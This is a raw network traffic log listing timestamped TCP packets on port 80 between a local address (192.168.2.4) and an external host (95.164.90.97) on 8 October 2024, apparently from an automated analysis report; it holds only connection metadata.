Oct 8, 2024 02:45:29.424108028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424125910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424125910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424160004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424288034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424303055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424319983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424348116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424381018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424455881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424472094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424510002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424540997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424590111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424606085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424619913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424642086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424653053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424653053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424658060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424673080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424680948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424688101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424704075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424715042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424717903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424732924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424734116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424751043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424767017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.424777031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424777031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424802065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.424818039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425050974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425102949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425146103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425162077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425177097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425192118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425201893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425239086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425239086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425287962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425338030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425405025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425421000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425435066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425446987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425462008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425466061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425477028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425488949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425493956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425512075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425518036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425518036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425528049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425542116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425558090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425574064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.425698996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.425749063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426150084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426217079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426217079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426233053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426265001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426297903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426366091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426381111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426397085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426410913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426431894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426438093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426438093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426474094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426476002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426526070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426574945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426587105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426595926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426610947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426620007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426629066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.426632881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426667929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.426667929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.441565037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441632032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.441718102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441732883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441742897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441751957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441760063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441768885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.441766977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.441804886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.441804886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.441839933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442015886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442027092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442035913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442044973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442054987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442059040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442065001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442075014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442080975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442086935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442110062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442111015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442143917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442420959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442433119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442481995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442539930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442550898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442559958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442569971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442593098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442615986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442621946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442634106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442642927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442653894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442662954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442667007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442672968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.442702055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.442720890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510129929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510150909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510166883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510178089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510189056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510200024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510209084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510220051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510324001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510324955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510324955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510324955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510504961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510516882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510525942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510530949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510540009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510550022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.510579109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510580063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.510617018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512154102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512212038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512212038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512223005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512263060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512263060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512401104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512411118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512422085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512425900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512435913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512450933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512489080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512489080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512641907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512696028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512697935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512710094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512723923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512733936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512743950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.512749910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512749910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.512784004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.513622999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.513622999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.514695883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514738083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514750004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.514755011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514821053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.514821053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.514903069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514913082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514920950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514931917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.514959097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.514959097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.514993906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515037060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515057087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515080929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515115023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515157938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515167952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515178919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515188932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515208960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515244007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515244007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515341043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515357018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515367031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515377045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515389919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515389919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515397072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515444040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515444040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515444040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515506029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515556097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515563011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515595913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515659094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515669107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515678883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515686989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515700102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515712976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515741110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515852928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515862942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515872955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515882969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515892029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515892982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515928984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515960932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.515978098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.515986919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.516022921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.516056061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.534539938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.539460897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741290092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741365910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741379976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741461992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741477966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741525888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741564035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741606951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741606951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741606951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741607904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741607904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741607904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741607904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741674900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741693020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741709948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741714954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741739035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741760015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741806984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741856098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.741919041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741934061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.741990089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742027998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742043018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742058039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742072105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742073059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742105007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742105007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742211103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742228031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742242098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742257118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742266893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742266893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742274046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742290020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742289066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742306948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742317915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742317915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742322922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742347956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742347956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742367983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742532015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742580891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742580891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742620945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742626905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742635965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742651939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742680073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742680073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742713928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742837906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742854118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742868900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742882967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.742893934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742893934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742928028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.742950916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743069887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743086100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743099928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743113995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743125916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743125916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743129015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743144035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743154049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743154049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743160009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743175030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743177891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743218899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743218899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743438959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743454933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743469000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743475914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743489981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743515015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743515015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743527889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743540049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743545055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743561029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743561029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743581057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743587971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743587971 CEST	51293	80	192.168.2.4	95.164.90.97
